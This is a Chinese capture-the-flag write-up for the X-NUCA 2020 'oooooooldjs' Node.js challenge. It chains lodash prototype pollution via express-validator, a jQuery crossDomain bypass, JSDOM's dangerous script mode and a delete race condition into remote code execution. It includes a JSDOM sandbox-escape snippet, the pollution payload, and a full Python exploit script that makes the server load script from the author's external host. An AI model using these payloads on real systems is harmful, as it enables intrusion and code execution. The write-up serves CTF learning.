2020年xnuca oooooooldjs题解

阅读量355354

|评论2

|

发布时间 : 2020-11-13 16:30:24

 

题目文件:

链接:https://pan.baidu.com/s/1IQvksS6scyjj7u64gYiyQA
提取码:lobd

题目描述

npm audit may miss something, be careful of the version of lodash. There is prototype pollution in express-validator, limited but powerful。

npm audit发现lodash有原型链污染漏洞

# Run  npm update lodash --depth 2  to resolve 1 vulnerability

  Low             Prototype Pollution                         

  Package         lodash                                      

  Dependency of   express-validator                           

  Path            express-validator > lodash                  

  More info       https://npmjs.com/advisories/1523

https://snyk.io/test/npm/express-validator/2.21.0 中查看lodash中出现原型链污染的地方,依次下断点

传入json数据:{"233":123}发现:

调用了存在原型链污染的set方法,且[233]不为object的键值,在这里可以触发原型链污染

一波测试后得到原型链污染的payload:{".\"].__proto__[\"crossDomain":{"1":"2"}},但是不能控制原型链污染的值

审计题目代码发现,非常有意思的两个地方

  1. 显眼的dangerous
  2. 这里自己实现了数据库的CURD四种方法

学习了一波后发现第一点可以触发RCE

const { JSDOM } = require("jsdom");

new JSDOM(`
<body>
  <script>
    const outerRealmFunctionConstructor = Node.constructor;
    const process = new outerRealmFunctionConstructor("return process")();
    const require = process.mainModule.require;

    // Game over!
    const fs = require('fs');
    console.log(fs.readdirSync('.'));
  </script>
</body>
`, { 
  runScripts: "dangerously" 
});

在util.js中定义了唯一会用到jsdom的函数

const {
    JSDOM
} = require("jsdom")
const {
    window
} = new JSDOM(``, {
    url: originUrl,
    runScripts: "dangerously"
})
// server side `$` XD
const $ = require('jquery')(window)

const requests = async (url, method) => {
    let result = ""
    try {
        result = await $.ajax({
            url: url,
            type: method,
        })

        console.log(result)
    } catch (err) {
        console.log(err)
        result = {
            data: ""
        }
    }

    return result.data
}

jquery的ajax有个特性是如果返回的content-type是text/javascript等代表着js脚本,那么便会执行js,结合上面的jsdom从而RCE,但是在低版本的话确实可以这么做,但是在高版本jquery进行了限制,如果是跨域请求便不会执行脚本

调试jquery代码发现:

这里会覆盖我们的content-type,继续调试发现设置crossDomain的逻辑

如果s.crossDomain == null就会进入是否跨域的判断

利用前面的原型链污染从而绕过jquery的跨域限制

还剩下一个问题,我们如何传入自己的url

express开着一个中间件限制了我们url,而且也不让更新url类型的数据

const middlewares = [
    // should be
    body('*').trim(),
    body('type').if(body('type').exists()).bail().isIn(['url', 'text'])
    .withMessage("type must be `url` or `text`"),
    body('block').if(body('type').exists()).notEmpty()
    .withMessage("no `block` content").bail()
    .if(body('type').isIn(['url'])).isURL({
        require_tld: false
    })
    .custom((value, {
        req
    }) => new URL(value).host === host)
    .withMessage("invalid url!"),
    (req, res, next) => {
        const errors = validationResult(req)
        if (!errors.isEmpty()) {
            return res.status(400).json({
                errors: errors.array()
            })
        }
        next()
    }
]

回到我们刚刚说的第二点有趣的地方,这个简单的数据库并不支持事务功能,也就是说删除type和data并不会同时删除是存在一定的时间差的,相关代码如下

D(id) {
        let di, dt
        for (const index in this.datas) {
            if (this.datas[index].id === id) {
                dt = this.types[index]
                this.types.splice(index, 1)
                di = index
            }
        }
        if (dt === 'url') {
            requests(this.datas[di].block, "DELETE").finally(()=>{
                this.datas = this.datas.filter((value)=>value.id !== id)
            })
        } else {
            this.datas = this.datas.filter((value)=>value.id !== id)
        }
    }

在删除了type后,他进行了一个相当耗时的操作:访问url,之后才删除data,又因为这里是一个链式删除,一个接着一个删除,所有type删除完后它可能才删除一个data

于是有:

import requests
challenge = "http://eci-2ze1whgyeh7v30y5j8yh.cloudeci1.ichunqiu.com:8888"
def insertUrl(url):
    burp0_url = challenge+"/data"
    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"type": "url", "block": url}
    result = {}
    while True:
        try:
            result = requests.post(burp0_url, headers=burp0_headers, data=burp0_data).json()
        except Exception as e:
            continue
        return result

def insertData(data):
    burp0_url = challenge+"/data"
    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close", "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"type": "text", "block": data}
    r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    return r.json()

def setLongLine(length=2000):
    endId=""
    url = "http://localhost:8888/data/fake-uuid"
    count = 0
    while count < length:
        count+=1
        data = insertUrl(url)
        url = "http://localhost:8888/data/"+data["data"]["id"]
        endId = data["data"]["id"]
    return endId

def deleteUrl(id):
    burp0_url = challenge+"/data/"+id
    burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
    try:
        requests.delete(burp0_url, headers=burp0_headers,timeout = 0.1)
    except Exception as e:
        print("开始删除数据")
def insertTryData(targetUrl):
    id = insertData(targetUrl)["data"]["id"]
    setLongLine(10)
    return id
#填充数据
print("填充数据")
id = setLongLine(500)
targetId=insertTryData("http://ccreater.top:60006/")
print("数据填充完成")
#删除数据
deleteUrl(id)
#fuzz

burp0_url = challenge+"/data/"+targetId
burp0_headers = {"Pragma": "no-cache", "Cache-Control": "no-cache", "Upgrade-Insecure-Requests": "1", "Origin": "http://100.100.1.11:8888", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://100.100.1.11:8888/data", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_json={".\"].__proto__[\"crossDomain": {"1": "2"}}

print("开始爆破")
while True:
    requests.get(burp0_url, headers=burp0_headers, json=burp0_json)

拿到flag

本文由ccreater原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/221388

安全客 - 有思想的安全新媒体

分享到:微信
+11赞
收藏
ccreater
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66